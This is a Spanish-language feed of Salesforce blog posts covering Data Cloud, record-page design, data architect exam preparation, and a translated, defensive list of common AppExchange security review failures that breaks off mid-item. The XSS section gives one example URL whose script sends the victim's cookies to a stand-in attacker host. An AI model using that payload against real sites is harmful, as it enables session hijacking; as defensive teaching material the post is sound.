Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.
Para analizar cuentas integradas y adquirir información rápida y fácilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en función de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido éxito.
Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuación de salud que mide la puntuación de salud de un paciente utilizando objetos e información prediseñados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los médicos cuando una puntuación cae por debajo de un nivel específico, esa puntuación y su uso se convierten en una experiencia que salva vidas.
Según la probabilidad de conversión de un cliente, los vendedores pueden obtener información sobre sus clientes potenciales y sus ventas potenciales. Según los hábitos de navegación de los usuarios y los niveles actuales de oferta de productos, la gestión del comercio electrónico puede utilizar datos para personalizar su sitio web.
¿Cómo funciona la nube de datos de Salesforce?
En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:
- Vincula tus fuentes de datos por lotes y de streaming.
- Refine los datos entrantes empleando métodos de transformación y adhiriéndose a protocolos de gobernanza.
- Estandariza tus datos conformándolos a un modelo establecido.
- Fusione diferentes elementos de datos mediante la aplicación de reglas de coincidencia de identidades.
- Explore su conjunto de datos para obtener información mediante consultas y análisis en profundidad.
- Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
- Divida y fragmente sus datos y luego impleméntelos en múltiples plataformas para crear experiencias personalizadas.
- Evalúe sus datos a través de soluciones de análisis compatibles.
- Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales específicos.
- Vuelva a evaluar, cuantifique y ajuste periódicamente sus activos de datos.
Cómo empezar con la nube de datos
Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, también es capaz de importar datos de otras fuentes externas, como lagos de datos.
Perspectiva :
Un lago de datos es una ubicación concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicación son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.
Lo que indica para los usuarios : las marcas son más capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de información accesible en un lago de datos.
Cómo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicación, lo que les permite moverse más rápidamente y mantenerse al día con (o superar) a los oponentes.
Pasos de implementación
Revise esta lista de verificación sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo esté configurado antes de implementar Data Cloud, verifique estos puntos:
- El equipo comprende los principales conceptos y restricciones que pueden afectar la facturación.
- Analiza la gestión de la marca y la estructura organizacional.
- Examina los principios del modelo de datos antes de acordar una estrategia de datos.
- Analice los datos que ya tiene y las fuentes de datos.
- Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
- Enumera los usuarios además de los permisos que requieren.
- Establece objetivos de segmentación.
Costo y disponibilidad de Salesforce Data Cloud
Salesforce Data Cloud es costoso. Es una inversión que requiere una planificación meticulosa porque comienza en $10 mil por organización, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar más en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…
… En el último evento de Dreamforce, Salesforce anunció que las licencias gratuitas de Data Cloud ya están disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10 000 perfiles de clientes y comenzar sus exploraciones.
En conclusión
Los datos son más cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo increíble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetización sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.
Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear fácilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan increíbles experiencias a los clientes. – Parker Harris, cofundador y director de tecnología, Salesforce
Los datos del cliente, el contenido empresarial, los datos de telemetría, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil único del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.
Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integración completa de la nueva Nube de Datos con la Plataforma Einstein 1.
Referencias:
Evaluación formativa:
¡Quiero saber de ti!
¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.
Seguir leyendoUn diseño tipo "cortador de galletas" puede ser lo que sus usuarios necesitan
La personalización es un sello distintivo de Salesforce, pero ¿qué sucede cuando se exagera? Durante más de 20 años, una organización del sector público creó versiones específicas para equipos de las páginas de registros de Salesforce Lightning Experience . Demasiados diseños causaron confusión y llevaron a las personas a mantener sus propias hojas de cálculo en lugar de completar Sales Cloud . Todo eso cambió cuando un Trailblazer con certificación 10X introdujo un patrón de diseño simple y repetible.
"El modelo simple puede ser algo útil", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .
Establezca las bases para el crecimiento con Sales Cloud
Maximice la productividad, obtenga información valiosa y optimice los procesos para crecer con usted.
Este #DreamDesigner devolvió al cliente a los conceptos básicos de UX . Juntos, implementaron una plantilla universal para páginas de registros Lightning con objetos estándar y personalizados . El enfoque permitió a los usuarios navegar por las páginas más fácilmente y eliminar sus hojas de cálculo. "La gente volvió a Sales Cloud para completar la información", dijo. "Comenzaron a sentirse más seguros de que podían hacer lo que tenían que hacer y hacerlo rápidamente".
Por fin, todos podrían beneficiarse de una única fuente de verdad.
El buen diseño fomenta la creación de hábitos
"El buen diseño se basa en la memoria muscular y así es como puede convertirse en un hábito", dijo Prag, quien trabajó en este proyecto mientras trabajaba en CloudKettle , una consultoría que ayuda a las organizaciones a mejorar las operaciones de ingresos.
Su estrategia de diseño tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son más fáciles cuando son familiares. Por lo tanto, los componentes familiares en las páginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.
Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patrón de diseño el mismo aspecto, ubicación y propósito en todos los casos. No existía una razón crítica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patrón para informar cualquier página en la que se encontraran.
"Hay una única razón por la que esto funcionó", dijo. "Todas las páginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".
Centrarse en la reutilización
Hay grandes beneficios al diseñar sistemas. Prag confió en SLDS como recursos para crear páginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de diseño y las mejores prácticas de Salesforce. "La arquitectura integrada basada en componentes nos permitió segregar la información agrupada en una plantilla universal para páginas de registro", dijo.
Después de todo, incluso una pequeña elección de diseño puede crear dificultades para los usuarios. Si un elemento está en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignación.
“Además, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo”, dijo Alan Weibel, arquitecto de UX de Salesforce.
Los nuevos patrones de diseño se realizaron a nivel de macrointeracción y a nivel de microinteracción. Prag se aseguró de que las tareas más grandes (por ejemplo, iniciar sesión) fueran tan uniformes como las más pequeñas (por ejemplo, envío de formularios).
Artículos de tendencia
Tres formas en que la IA generativa ayudará a los especialistas en marketing a conectarse con los clientes Lectura de 3 minutos Mejora tus habilidades en IA con Trailhead Lectura de 3 minutos
La coherencia produce eficiencia
Hoy, la información del equipo está centralizada en Sales Cloud. Los usuarios se sienten cómodos con patrones de diseño familiares. El trabajo es más fácil y los beneficios de compartir información son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes páginas de diferentes maneras.
Este tipo de transformación siempre es posible. Prag lo vio cientos de veces en sus trece años especializándose en Salesforce. La clave es que las organizaciones sigan evaluando su implementación para reducir la deuda tecnológica y la deuda de diseño .
Lo que funcionó antes puede no funcionar ahora.
Esa es la belleza del diseño. Es una conversación en curso. Y, a veces, patrones de diseño consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.
Seguir leyendoPreparación para el examen de arquitecto de datos certificado de Salesforce
Ha estado en mi mente por un tiempo, ya que para mí esta certificación era la última que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que también tengo el certificado "opcional" de Experience Cloud).
Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro día me hizo decir: “Bueno, también puedo intentarlo; Ojalá se me quite de la cabeza de una vez por todas”. Aprendería de cualquier manera, ¡eso es seguro!
Y esto pasó…
¡Uf!
Algunas personas se han acercado para preguntar sobre la preparación para el examen y la orientación, por eso escribo esto aquí para tratar de ayudar a otros.
El contexto es clave
Cualquier certificación de examen que hago está dentro de contexto, con eso me refiero a haber trabajado ya durante algún tiempo en el producto en cuestión.
"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un hábito." -Aristóteles
Así es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria más que de la experiencia. Y bueno, después de todo, soy un Scrum Master, ¡el empirismo existe!
"Salesforce recomienda encarecidamente una combinación de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". —Comienzo del sendero
Guía de examen
La oración anterior proviene de la guía del examen; solía ser un PDF, pero ahora el contenido está integrado en Trailhead.
La guía del examen es SIEMPRE tu punto de partida, me sorprende cuánta gente no usa este recurso (¡algunos ni siquiera saben que existe! ¡¿Cómo?!).
La guía del examen está diseñada para ayudarlo a evaluar SI está listo para completar con éxito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrirán, y también de lo que se espera de usted. Por ejemplo en este en particular:
La credencial de Arquitecto de datos certificado de Salesforce está destinada al arquitecto que evalúa el entorno y los requisitos de la arquitectura; y diseña soluciones sólidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto también tendrá experiencia trabajando con lo siguiente:
- Modelado de datos y diseño de bases de datos
- Gestión de datos maestros
- Gestión de datos de Salesforce
- Dato de governancia
- Consideraciones sobre grandes volúmenes de datos
- Migración de datos
El arquitecto tiene experiencia en comunicar soluciones y diseñar compensaciones a empresas y partes interesadas de TI.
Incluso tienes el esquema del examen donde puedes ampliar cada sección (aquí es donde está lo bueno):
Recursos
¿Mencioné la guía del examen?… ¡Úsala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide
Literalmente creé mi propio documento a partir de él y desglosé cada elemento, definí la lógica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escribí este artículo disponible públicamente para Pardot hace bastantes años, solo para darle una idea.
Hablando de empirismo, en general, mi mejor recurso es… ¡una organización de edición para desarrolladores! ¡Donde pruebo todo y más! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la guía de certificados para cada elemento, define la lógica y luego juega con ella.
Algunos de los contenidos de este en particular pueden ser un poco más complicados, como grandes volúmenes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. También el año pasado con el Sr. Agente Gill 😉
Aunque se escribió hace bastante tiempo, este artículo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitirá revisar PK Chunking y Bulk API.
Siguiendo con más contenido de la vieja escuela de "antaño", consulte la serie de Extreme Force.com, aquí está la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos
Probablemente también sugeriría ignorar sus patrones de diseño de integración, lo que le ayudará a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm
Hacer una combinación de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer más me ayudó a mantenerme concentrado.
Consejos
Como sabe, no puedo darle ningún detalle, eso sería una violación de los términos y condiciones del programa de certificación y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier información expuesta del examen.
Lo que te puedo decir es que deberías revisar:
- Cuándo o cuándo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opinión)
- Cómo mejorar la calidad de los datos en toda su pila tecnológica
- Cuándo o cuándo no utilizar Rollups
- Qué API usar cuando
- Cómo manejar grandes volúmenes de datos (es decir, carga, rendimiento, exportación, cosas como compartir, bloqueos, etc.)
- Cuándo o cuándo no utilizar relaciones maestro-detalle
- Qué tipo de integración usar y cuándo
- Cómo capturar y gestionar metadatos
- Cuándo y cuándo no utilizar objetos grandes y objetos externos
- Gestión de datos maestros
- Gobernanza: cumplimiento y funcionalidad relacionada
Seguramente me he perdido algo, pero eso es lo más importante en este momento. Consulte y trabaje con su guía de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide
¿Qué estás haciendo?
Recuerde también: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.
Ahora es tu turno: ¿Para qué certificación estás trabajando? ¿Cuál es su enfoque?
¡Cuéntanos y etiquétanos para que podamos celebrar contigo!
Seguir leyendoLas 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
#1 — Aplicación de CRUD/FLS
¿Qué es esto?
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
¿Cómo puedo abordar esto?
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE
en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa
en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult
(es decir, métodos como isCreatable()
, isUpdateable()
, isDeletable()
), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
#2 – Versión de software insegura
¿Qué es esto?
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
¿Cómo puedo abordar esto?
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
#3 – Violación al compartir
¿Qué es esto?
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing
al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
¿Cómo puedo abordar esto?
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing
(o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
#4: Almacenamiento inseguro de datos confidenciales
¿Qué es esto?
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
- El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
- Los secretos pueden quedar expuestos en registros o mensajes de error
- Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.
¿Cómo puedo abordar esto?
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
- Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
- Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
- Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
- Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
#5 — Configuración TLS/SSL
¿Qué es esto?
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
¿Cómo puedo abordar esto?
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
#6 — Información confidencial en depuración
¿Qué es esto?
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
¿Cómo puedo abordar esto?
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
#7 – CSRF
¿Qué es esto?
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
¿Cómo puedo abordar esto?
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
- Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
- No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
- Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.
Para componentes Lightning:
- De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como
init
(para Aura),connectedCallback
,renderedCallback
oconstructor
.
Al realizar llamadas API:
- Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas
¿Qué es esto?
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>
).
Los motivos por los que su aplicación podría ser susceptible incluyen:
- Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
- Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
- Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
- Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad
innerHTML
,lwc:dom=”manual”
o el componentelightning:formattedRichText
sin la validación de entrada adecuada. - Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).
¿Cómo puedo abordar esto?
Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
- Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo,
eval()
,DOMParser.parseFromString()
,Document.implementation.createHTMLDocument()
,setTimeout()
,setInterval()
) - Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
- Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a & y '<' o '>' debe convertirse a < y >)
Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
#9: JavaScript no está en recursos estáticos
¿Qué es esto?
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script>
. La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
¿Cómo puedo abordar esto?
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript>
en su página (para Visualforce) o un ltng:require
en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript
para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
#10 – Inyección SOQL
¿Qué es esto?
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
¿Cómo puedo abordar esto?
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
#11 — Lightning: carga CSS inadecuada
¿Qué es esto?
Similar al problema de usar etiquetas <script>
o <link>
para cargar JavaScript en sus paquetes, usar etiquetas <link>
o <style>
para cargar CSS en lugar de <apex:stylesheet>
(Visualforce) o <ltng:require>
( Aura) se considera una práctica insegura. Estas etiquetas <link>
y <style>
